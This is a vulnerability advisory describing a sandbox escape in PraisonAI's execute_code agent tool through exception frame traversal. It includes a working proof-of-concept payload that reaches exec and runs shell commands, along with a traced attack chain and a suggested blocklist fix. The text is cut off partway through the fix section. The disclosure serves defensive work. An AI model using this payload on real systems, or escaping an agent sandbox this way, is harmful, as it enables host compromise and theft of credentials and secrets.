Description

PraisonAI has sandbox escape via exception frame traversal in execute_code (subprocess mode) ## Summary execute_code() in praisonaiagents.tools.python_tools defaults to sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a restricted __builtins__ dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blocked_attrs, line 143 of python_tools.py) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list: | Attribute | In subprocess blocked_attrs | In direct-mode _blocked_attrs | |---|---|---| | __traceback__ | NO | YES | | tb_frame | NO | YES | | f_back | NO | YES | | f_builtins | NO | YES | Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer. Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10. --- ## Severity CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical | Vector | Value | Rationale | |---|---|---| | AV:N | Network | execute_code is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments | | AC:L | Low | No race conditions or special configuration required | | PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) | | UI:N | None | No victim interaction | | S:C | Changed | Escapes subprocess sandbox into full host process context | | C:H | High | Arbitrary file read, environment variable access, credential exfiltration | | I:H | High | Arbitrary file write, arbitrary code execution on host | | A:H | High | Can terminate processes, exhaust resources | --- ## Affected - Package: praisonaiagents (PyPI) - Affected versions: all versions shipping sandbox_mode="sandbox" (default since introduction) through 1.5.113 - Patched versions: none at time of report - File: praisonaiagents/tools/python_tools.py --- ## Root Cause ### Two separate blocked_attrs sets — one much weaker than the other _validate_code_ast() (line 39, used by direct mode) blocks 30+ attributes: python # python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs) _blocked_attrs = frozenset({ '__subclasses__', '__bases__', '__mro__', '__globals__', '__code__', '__class__', '__dict__', '__builtins__', '__import__', '__loader__', '__spec__', '__init_subclass__', '__set_name__', '__reduce__', '__reduce_ex__', '__traceback__', '__qualname__', '__module__', # ← present here '__wrapped__', '__closure__', '__annotations__', 'gi_frame', 'gi_code', 'cr_frame', 'cr_code', 'ag_frame', 'ag_code', 'tb_frame', 'tb_next', # ← present here 'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here 'co_consts', 'co_names', }) The subprocess wrapper script written to disk (line 143) uses a separate, inline blocked_attrs with only 11 entries — the frame-traversal attrs are missing: python # python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs) blocked_attrs = { '__subclasses__', '__bases__', '__mro__', '__globals__', '__code__', '__class__', '__dict__', '__builtins__', '__import__', '__loader__', '__spec__' # __traceback__, tb_frame, f_back, f_builtins — all absent } ### _safe_getattr does not protect direct dot-notation access _safe_getattr replaces the getattr builtin and blocks attribute names starting with _. However, it is only invoked when user code explicitly calls getattr(obj, name). Direct attribute access (obj.attr in source) uses Python's C-level tp_getattro slot and never passes through _safe_getattr. The AST check is therefore the only barrier to direct attribute access, and it is insufficient. ### No text-pattern blocklist in subprocess mode _execute_code_direct applies a text-pattern blocklist (dangerous_patterns) as a defence-in-depth layer. _execute_code_sandboxed has no such layer — only the AST check runs. --- ## Proof of Concept python import os os.environ["PRAISONAI_AUTO_APPROVE"] = "true" from praisonaiagents.tools.python_tools import execute_code CMD = "id" # any shell command payload = f""" try: 1/0 except ZeroDivisionError as e: _p = e.__traceback__.tb_frame.f_back _x = _p.f_builtins["exec"] _x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())", {{"__builtins__": _p.f_builtins}}) """ result = execute_code(code=payload) print(result["stdout"]) Output (praisonaiagents 1.5.113, Python 3.10): uid=1000(user) gid=1000(user) groups=1000(user) Why each defence is bypassed: | Layer | Status | Reason | |---|---|---| | AST blocked_attrs | BYPASSED | __traceback__, tb_frame, f_back, f_builtins not in 11-item subprocess list | | _safe_getattr | BYPASSED | Only intercepts getattr() calls; dot notation uses C-level tp_getattro | | exec-by-name AST check | BYPASSED | Called as _x(...) — func.id is '_x', not 'exec' | | Text-pattern blocklist | N/A | Does not exist in subprocess mode | | Subprocess process isolation | BYPASSED | Frame traversal reaches real builtins within the subprocess | --- ## Attack Chain execute_code(payload) └─ _execute_code_sandboxed() └─ subprocess: exec(user_code, safe_globals) └─ user_code raises ZeroDivisionError └─ e.__traceback__ ← __traceback__ not in blocked_attrs └─ .tb_frame ← tb_frame not in blocked_attrs └─ .f_back ← f_back not in blocked_attrs └─ .f_builtins ← f_builtins not in blocked_attrs └─ ["exec"] ← dict subscript, no attr check └─ _x("import subprocess; ...") └─ RCE --- ## Impact Any application that exposes execute_code to user-controlled or LLM-generated input — including all standard PraisonAI agent deployments — is fully compromised by a single API call: - Arbitrary command execution on the host (in the subprocess user context) - File system read/write — source code, credentials, .env files, SSH keys - Environment variable exfiltration — API keys, secrets passed to the agent process - Network access — outbound connections to attacker infrastructure unaffected by env={} - Lateral movement — the subprocess inherits the host's network stack and filesystem --- ## Suggested Fix ### 1. Merge blocked_attrs into a single shared constant The subprocess wrapper must use the same attribute blocklist as the direct mode. Replace the inline blocked_attrs in the wrapper template with the full set: python # Add to subprocess wrapper template (python_tools.py ~line 143): blocked_attrs = { '__subclasses__', '__bases__', '__mro__', '__globals__', '__code__', '__class__', '__dict__', '__builtins__', '__import__', '__loader__', '__spec__', '__init_subclass__', '__set_name__', '__reduce__', '__reduce_ex__', '__traceback__', '__qualname__', '__module__', # ← ADD '__wrapped__', '__closure__', '__annotations__', # ← ADD 'gi_frame', 'gi_code', 'cr_frame', 'cr_code', # ← ADD 'ag_frame', 'ag_code', 'tb_frame', 'tb_next', # ← ADD 'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD 'co_consts', 'co_names', # ← ADD } ### 2. Block all _-prefixed attribute access at AST level _safe_getattr

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